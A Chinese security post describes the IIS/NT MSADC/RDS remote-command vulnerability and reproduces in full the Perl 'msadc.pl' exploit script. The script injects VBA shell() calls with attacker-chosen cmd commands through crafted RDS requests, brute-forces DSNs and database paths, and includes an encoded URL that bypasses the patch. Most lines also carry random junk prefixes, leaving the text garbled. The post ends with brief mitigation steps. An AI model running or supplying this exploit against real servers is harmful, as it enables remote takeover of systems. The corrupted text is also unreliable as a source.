IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{M?!nS6t }PY?
ZG 涉及程序：
`|^<y.-6 Microsoft NT server
E4'D4@\W r_Rjjo 描述：
uGQCW\!"4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]&ptld; N2_ =^s7 详细：
m~Dq0 T 如果你没有时间读详细内容的话，就删除:
=;3 |?J0= c:\Program Files\Common Files\System\Msadc\msadcs.dll
oLn| UWe_ 有关的安全问题就没有了。
Te#wU e-| V6d*O`
微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
*X; g
Y m`c(J1Et 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
~QsQ7SAs 关于利用ODBC远程漏洞的描述，请参看:
::vw 1Es +G_6Ek4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B!le=V, @, =P+S]< O 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
vAJfMUlP http://www.microsoft.com/security/bulletins/MS99-025faq.asp z~oGd, Ac.z6]p 这里不再论述。
EVj48 uBks#Y*3$ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^tuJ M: ANCgch\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
{Pg7IYjH 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
V]PTAhc $XI5fa4Tt pKMf#)qm #将下面这段保存为txt文件，然后: "perl -x 文件名"
7@vc Qv
kC *k'9 %'< #!perl
j86s[Dty #
I01On>"@7 # MSADC/RDS 'usage' (aka exploit) script
i*Y/q-N| #
BsB}noN } # by rain.forest.puppy
U &Ay3/ #
\+MR`\|3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
y Ht63z8' # beta test and find errors!
,[bcyf 'EREut,>' use Socket; use Getopt::Std;
h3 p 3~xq getopts("e:vd:h:XR", \%args);
"eQ9 6^'J fINM$ 6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cx2s|@u0 ~9o S~fP?I if (!defined $args{h} && !defined $args{R}) {
=QyO$:t print qq~
IFPywL{K Usage: msadc.pl -h <host> { -d <delay> -X -v }
F;ONo.v; -h <host> = host you want to scan (ip or domain)
TL7-uH -d <seconds> = delay between calls, default 1 second
^@ )/VfVg -X = dump Index Server path table, if available
VUF7-C* -v = verbose
^[%~cG -e = external dictionary file for step 5
J7QlGm,= Y=3Y~ Or a -R will resume a command session
z4-AOTo2y l}(~q!r ~; exit;}
4g1u9Sc0 K)Db3JIIk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Ca BTqo if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&9s6p6 eb if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
DO03vN if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2z[Pw0# V $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
o
JA 58/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$LRFG( ydns_ Z if (!defined $args{R}){ $ret = &has_msadc;
# zy,x die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
+]]wf'w g'Xl>q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
c=
a+7> . "cmd /c ";
C#I),LE|d{ $in=<STDIN>; chomp $in;
;#~
!`>n? $command="cmd /c " . $in ;
(tq)64XVz 9D#PO">| if (defined $args{R}) {&load; exit;}
"4t Ry9 q *h =7:*n print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
x(b&r g.-0 &try_btcustmr;
RPiCXpJv& ao-C9|2>NU print "\nStep 2: Trying to make our own DSN...";
mG@Q}Y( &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bY>o%LL- 2s{yg%U( print "\nStep 3: Trying known DSNs...";
R9CAw>s &known_dsn;
Ew:JpMR XbH X,W$h print "\nStep 4: Trying known .mdbs...";
_ u:#2K$ &known_mdb;
IWT##']G e ;6Sj if (defined $args{e}){
;JmD(T7{ print "\nStep 5: Trying dictionary of DSN names...";
huTJ
a2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<aHK{ *'3 2hu6 print "Sorry Charley...maybe next time?\n";
y~luuV;uj exit;
@W @L%< g{ J3Ba ##############################################################################
9M7P]$^ ev?>Nq+Z sub sendraw { # ripped and modded from whisker
d ;;=s=j sleep($delay); # it's a DoS on the server! At least on mine...
)nJ>kbO~8 my ($pstr)=@_;
@P. l8|w socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vGAPQg6* die("Socket problems\n");
ifgaBXT55 if(connect(S,pack "SnA4x8",2,80,$target)){
~b7Nzzfo select(S); $|=1;
s=q+3NTv print $pstr; my @in=<S>;
-xcz+pHQ select(STDOUT); close(S);
e+6~JbMV return @in;
NfO0^^" } else { die("Can't connect...\n"); }}
uyA9`~p=# #* Hhe> ##############################################################################
gvU6 p[ D +.R-a+y3 sub make_header { # make the HTTP request
8EE7mEmLH my $msadc=<<EOT
3Q ]MT POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
q@!:<Ra,){ User-Agent: ACTIVEDATA
b]Y,& 8}[+ Host: $ip
)T3wU~% Content-Length: $clen
OKU P Connection: Keep-Alive
SA&wW\Ym] n)=&=Uj`f ADCClientVersion:01.06
\ D[BRE+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Qxvz}r.l] QAJ>93 --!ADM!ROX!YOUR!WORLD!
@KpzxcEoO Content-Type: application/x-varg
l1:j/[B= Content-Length: $reqlen
/.?\P#9) DuE>KX{<!R EOT
{0LdLRNZ ; $msadc=~s/\n/\r\n/g;
UF{2Gx return $msadc;}
,\m c.80 .U3 p~M+ ##############################################################################
g&bO8vR= v8 X&H sub make_req { # make the RDS request
?)X@4Jem my ($switch, $p1, $p2)=@_;
* =Fcu@ my $req=""; my $t1, $t2, $query, $dsn;
} F.1j!71L vP?yl "U if ($switch==1){ # this is the btcustmr.mdb query
M`<D Z<:< $query="Select * from Customers where City=" . make_shell();
-?(RoWv@X& $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
wLO/2V}/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/0c&!OP _NkN3f5 1L elsif ($switch==2){ # this is general make table query
Q d./G5CC $query="create table AZZ (B int, C varchar(10))";
hnZHu\EJ $dsn="$p1";}
|}} ]&:w2 btY Pp0o~ elsif ($switch==3){ # this is general exploit table query
+?<jSmGW $query="select * from AZZ where C=" . make_shell();
g\.N>P@Bu $dsn="$p1";}
Vg+SXq6G lV
9q ;!/1 elsif ($switch==4){ # attempt to hork file info from index server
C L*%06QyE $query="select path from scope()";
' !I?C/49k $dsn="Provider=MSIDXS;";}
|l|]Tw yR!>80$j elsif ($switch==5){ # bad query
bDo'hDmW $query="select";
s7e'9Bx $dsn="$p1";}
6)$_2G%Zq @CmxH(-i- $t1= make_unicode($query);
{2x5
V#6 $t2= make_unicode($dsn);
qcot
T\rq $req = "\x02\x00\x03\x00";
a#IJ<^[ 8 $req.= "\x08\x00" . pack ("S1", length($t1));
kC0!`$<2f) $req.= "\x00\x00" . $t1 ;
(+_J0i t $req.= "\x08\x00" . pack ("S1", length($t2));
v( ^ rq $req.= "\x00\x00" . $t2 ;
M <)2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Wg%-m%7O return $req;}
t>fB@xHBB 8z CAy@u ##############################################################################
3KKe4{oG T42g4j/l~ sub make_shell { # this makes the shell() statement
twtDyo(\ return "'|shell(\"$command\")|'";}
,fw[ J J]0#M :w& ##############################################################################
zi
,Rk. h[]N=X sub make_unicode { # quick little function to convert to unicode
K9 q~Vf my ($in)=@_; my $out;
q T].,? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
>DRs(~|V# return $out;}
[1 C#[Vla f#~Re:7.c ##############################################################################
ge[i&,.&z ?5Fj]Bk ] sub rdo_success { # checks for RDO return success (this is kludge)
0Nu]N)H5<l my (@in) = @_; my $base=content_start(@in);
,&=`T 7i if($in[$base]=~/multipart\/mixed/){
_iu |*h1y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[f0HUbPX return 0;}
}'W^Ki$ |
#Pc
e ##############################################################################
o ,yvi yLx.*I^6 sub make_dsn { # this makes a DSN for us
[ q&J"dt my @drives=("c","d","e","f");
q,DX{: print "\nMaking DSN: ";
Ic
K=E ]p foreach $drive (@drives) {
LXLDu2/@ print "$drive: ";
2YKM 9Ks my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
|^Es6 .~ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
b- ?o?}* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Z?.*.<"Sj $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
v+#j> return 0 if $2 eq "404"; # not found/doesn't exist
dYd~9 if($2 eq "200") {
WDdi}i>2 foreach $line (@results) {
E/ZJ\@gzD return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
lF( !(>YZ } return 0;}
/wE _eK. Lf#G?]@ ##############################################################################
_6!/}Fm aS vE sub verify_exists {
mM* yv my ($page)=@_;
lrhAO"/1
my @results=sendraw("GET $page HTTP/1.0\n\n");
k+[KD >;1 return $results[0];}
+c a296^ Nr9[Vz?$P ##############################################################################
gKN_~{{OD b 3xkJ&Z sub try_btcustmr {
j/D)UWkR my @drives=("c","d","e","f");
8 >Z$/1Mh my @dirs=("winnt","winnt35","winnt351","win","windows");
Y:%)cUxA 2\{uq v foreach $dir (@dirs) {
CLEG'bZa, print "$dir -> "; # fun status so you can see progress
e: LZ s0 foreach $drive (@drives) {
$ud>Z;X=P print "$drive: "; # ditto
1gm/{w6O $reqlen=length( make_req(1,$drive,$dir) ) - 28;
O&w3@9KJ? $reqlenlen=length( "$reqlen" );
{@5WeWlz~ $clen= 206 + $reqlenlen + $reqlen;
cWO
)QIE TRLeZ0EC my @results=sendraw(make_header() . make_req(1,$drive,$dir));
t`T\d\ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
"g%:#'5 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
m-> %8{L id+m [']+ ##############################################################################
4AOS}@~W U;{,lS2l sub odbc_error {
_(`X .D my (@in)=@_; my $base;
:{:?D\%6 my $base = content_start(@in);
d._gH#&v if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Q
*]`t@ q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^HFU@/ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2ZbY| 8X$r $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s~Wu0%])Q return $in[$base+4].$in[$base+5].$in[$base+6];}
; axa ZV print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
K#UA M . print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
X/- KkC $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ZBR^[OXO 3>9 dJx4I ##############################################################################
#IaBl?}r^ ~,!hE&LE~ sub verbose {
yp{F 8V 8 my ($in)=@_;
Mc7 <[a return if !$verbose;
|M<.O~|D6} print STDOUT "\n$in\n";}
h:jI d50IAa^p6J ##############################################################################
M.:@<S x_ y > j) sub save {
l8x d73D)8 my ($p1, $p2, $p3, $p4)=@_;
"1!. ^ <V* open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Da8$Is;n print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@@/'b ' close OUT;}
9`C iE $qtU ##############################################################################
|369@un6 O\?5#. sub load {
vQYfo am; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;}eEG{` Y open(IN,"<rds.save") || die("Couldn't open rds.save\n");
A,lw-(.z4Z @p=<IN>; close(IN);
&lh_-@Xz $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
|:=b9kv $target= inet_aton($ip) || die("inet_aton problems");
2x`xyR_Q.R print "Resuming to $ip ...";
*K jVPs $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
pm W6~%}* if($p[1]==1) {
_X%6 +0M
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
I0l.KiBm $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
xeYySM= my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2gL[\/s if (rdo_success(@results)){print "Success!\n";}
;/";d]j else { print "failed\n"; verbose(odbc_error(@results));}}
e,#+Xx0M elsif ($p[1]==3){
FJjF*2 . if(run_query("$p[3]")){
I6 hhU;)C print "Success!\n";} else { print "failed\n"; }}
TtwJ,&b elsif ($p[1]==4){
0^!,[oh6* if(run_query($drvst . "$p[3]")){
i. u15$ print "Success!\n"; } else { print "failed\n"; }}
R!/,E exit;}
4-M6C 5#. W}R = ##############################################################################
;sL6#Go?V ZU| V+yT sub create_table {
>OKS/(I0 my ($in)=@_;
`! ,\kc1 $reqlen=length( make_req(2,$in,"") ) - 28;
B BU84s[ $reqlenlen=length( "$reqlen" );
R5NRCI $clen= 206 + $reqlenlen + $reqlen;
|P. = my @results=sendraw(make_header() . make_req(2,$in,""));
n$hqNsM return 1 if rdo_success(@results);
HV*:<2P%D my $temp= odbc_error(@results); verbose($temp);
vN0L( B return 1 if $temp=~/Table 'AZZ' already exists/;
`FYtiv?G return 0;}
Ng."+& o^_W $4Fc ##############################################################################
L^5&GcHP0 1(:b{Bl sub known_dsn {
3d#9 Wyx s # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
U= c5 zrs my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
dS3>q<J*a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
o }mhy`} "banner", "banners", "ads", "ADCDemo", "ADCTest");
vbWJhj K0h 8V=HyF# foreach $dSn (@dsns) {
v E3{H print ".";
!X\sQNp next if (!is_access("DSN=$dSn"));
0{ "dI;b% if(create_table("DSN=$dSn")){
} Jdh^t . print "$dSn successful\n";
k5fH ; if(run_query("DSN=$dSn")){
F;?TR [4!k print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(EOec5qXU print "Something's borked. Use verbose next time\n";}}} print "\n";}
]xJ'oBhy ^ Kw&=u ##############################################################################
,<;l"v( K4?t' dd] sub is_access {
JO& ;bT< my ($in)=@_;
2\nBqCxR $reqlen=length( make_req(5,$in,"") ) - 28;
uGP[l`f|FQ $reqlenlen=length( "$reqlen" );
9LqMQv"xW $clen= 206 + $reqlenlen + $reqlen;
\]f5 my @results=sendraw(make_header() . make_req(5,$in,""));
mJGO)u& my $temp= odbc_error(@results);
+Dq |l} verbose($temp); return 1 if ($temp=~/Microsoft Access/);
qXP1 Q3 return 0;}
7 E!";HT [Q7->Wo|S: ##############################################################################
k lP{yxU'n xI`Uk8- 8 sub run_query {
rnMG0 my ($in)=@_;
<<7,k f R $reqlen=length( make_req(3,$in,"") ) - 28;
r6 oX6.c $reqlenlen=length( "$reqlen" );
uGuc._}= $clen= 206 + $reqlenlen + $reqlen;
Yn IM- my @results=sendraw(make_header() . make_req(3,$in,""));
~>N`<S return 1 if rdo_success(@results);
{UX"Epd);n my $temp= odbc_error(@results); verbose($temp);
3xmiX{1e return 0;}
r%Q8)nEo .\ ;l -U ##############################################################################
r+[#%%}ea ="5k\1W1M sub known_mdb {
abTDa6 /`v my @drives=("c","d","e","f","g");
|aI|yq) my @dirs=("winnt","winnt35","winnt351","win","windows");
g33<qYxP my $dir, $drive, $mdb;
XI%RneuDr: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+X* F<6mZ 0%h [0jGj # this is sparse, because I don't know of many
; d, JN my @sysmdbs=( "\\catroot\\icatalog.mdb",
KA|&Q<<{@ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
xE G+%Uk{ "\\system32\\certmdb.mdb",
|MOn0 * "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3t"~F%4-}
nR,Qm=; my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
<O,'5 +zG% "\\cfusion\\cfapps\\forums\\forums_.mdb",
++Rdv0 ~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3JlC/v#0 "\\cfusion\\cfapps\\security\\realm_.mdb",
T =eT^?v "\\cfusion\\cfapps\\security\\data\\realm.mdb",
k8Inb X[ "\\cfusion\\database\\cfexamples.mdb",
2|0Je^$| "\\cfusion\\database\\cfsnippets.mdb",
; H7EB` "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
q5:0&:m$4$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
/32Ta "\\cfusion\\brighttiger\\database\\cleam.mdb",
'|YtNhWZ? "\\cfusion\\database\\smpolicy.mdb",
K:>N GGY8r "\\cfusion\\database\cypress.mdb",
L<f-Ed9| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
tl{]g z "\\website\\cgi-win\\dbsample.mdb",
ql!5m\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_%A/ ) "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
'\ph`Run ); #these are just
8_^'(] foreach $drive (@drives) {
uD. foreach $dir (@dirs){
>Jm-2W5J foreach $mdb (@sysmdbs) {
iN:G/ss4O print ".";
s0C ?Bb}? if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'`M#UuU print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
-{yDk$" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
[5]R?bQ0q{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
4&FNU)tt } else { print "Something's borked. Use verbose next time\n"; }}}}}
07$/]eO%C 2k.S[?) foreach $drive (@drives) {
Qv&T E3 foreach $mdb (@mdbs) {
#W>x\ print ".";
q*HAIw[<y if(create_table($drv . $drive . $dir . $mdb)){
lEO?kn .:z print "\n" . $drive . $dir . $mdb . " successful\n";
S2koXg( if(run_query($drv . $drive . $dir . $mdb)){
p&k 0Rx0Q3 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
6obQ 9L c } else { print "Something's borked. Use verbose next time\n"; }}}}
7j@^+rkr3f }
LF E p zrLhQ3V#> ##############################################################################
YYTO,4 &GXtdO>;Zv sub hork_idx {
pj!k |F9 print "\nAttempting to dump Index Server tables...\n";
W@:^aH print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
]h #WkcXQ $reqlen=length( make_req(4,"","") ) - 28;
GIl:3iB49 $reqlenlen=length( "$reqlen" );
|RHO+J $clen= 206 + $reqlenlen + $reqlen;
Bv;I0i:_
my @results=sendraw2(make_header() . make_req(4,"",""));
|x1$b 7 if (rdo_success(@results)){
QDIsC my $max=@results; my $c; my %d;
xT{TVHdU for($c=19; $c<$max; $c++){
'4af
], $results[$c]=~s/\x00//g;
}U2[? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&E.OyqGZV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
euRCBzc $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/'-:=0a $d{"$1$2"}="";}
1zdYBb6;j foreach $c (keys %d){ print "$c\n"; }
\1=T
sU&^ } else {print "Index server doesn't seem to be installed.\n"; }}
rER~P\- GYFgEg} ##############################################################################
.[ edln pO\ S#GnX sub dsn_dict {
Vil@?Y" open(IN, "<$args{e}") || die("Can't open external dictionary\n");
X32RZ9y while(<IN>){
5\uN Es$T $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*}+R{ next if (!is_access("DSN=$dSn"));
*
zd. if(create_table("DSN=$dSn")){
a^@ + %?X print "$dSn successful\n";
r`?&m3IOP if(run_query("DSN=$dSn")){
b0y-H/d/} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
G! AICcP^ print "Something's borked. Use verbose next time\n";}}}
=ft9T&ciD print "\n"; close(IN);}
\V._Z>] 9 1B Y]N ##############################################################################
` ff j8U Z$Z`@&U= sub sendraw2 { # ripped and modded from whisker
2}D,df'W4 sleep($delay); # it's a DoS on the server! At least on mine...
HkW/G[7x& my ($pstr)=@_;
lTn;3' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5fU!'ajaN7 die("Socket problems\n");
)URwIe { if(connect(S,pack "SnA4x8",2,80,$target)){
g+:$X- r print "Connected. Getting data";
# N; $ open(OUT,">raw.out"); my @in;
C#Y,r)l select(S); $|=1; print $pstr;
4DvdE t while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.8-PB*vb close(OUT); select(STDOUT); close(S); return @in;
b21}49b HN } else { die("Can't connect...\n"); }}
k"t >He C,[ L/! ##############################################################################
P~&O4['< $Xf~# uH sub content_start { # this will take in the server headers
&q.)2o#Q. my (@in)=@_; my $c;
O ,l\e 3; for ($c=1;$c<500;$c++) {
&u&2D$K,tp if($in[$c] =~/^\x0d\x0a/){
}K?F7cD if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
)sqaR^ else { return $c+1; }}}
8^i[j\Y;6 return -1;} # it should never get here actually
5@K\c6 bC6X?m= ##############################################################################
KUb J e)}g OE6#YT sub funky {
P;jlHZ 9?O my (@in)=@_; my $error=odbc_error(@in);
y*_K=}pk if($error=~/ADO could not find the specified provider/){
6s'[{Ov print "\nServer returned an ADO miscofiguration message\nAborting.\n";
AD(xaQ&T exit;}
e,^pMg~ if($error=~/A Handler is required/){
}Bd_:#.mw print "\nServer has custom handler filters (they most likely are patched)\n";
xOhRTx ic exit;}
*<w3" iq if($error=~/specified Handler has denied Access/){
O!o <P5X^ print "\nServer has custom handler filters (they most likely are patched)\n";
DQcWq'yY^ exit;}}
0(\p<q q Yi[4DfA ##############################################################################
q{/*n]K X+ @s] sub has_msadc {
=<Hy"4+?. my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ZHz^S)o\[s my $base=content_start(@results);
B .El a return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
FZeP<Ban return 0;}
rYbCOazr ;jF%bE3 ########################
(yfXMp ,x ]XY0c 6
< 4AJ9`1d4 解决方案：
P> |Ef~j 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
v< Ty|(gd 2、移除web 目录: /msadc
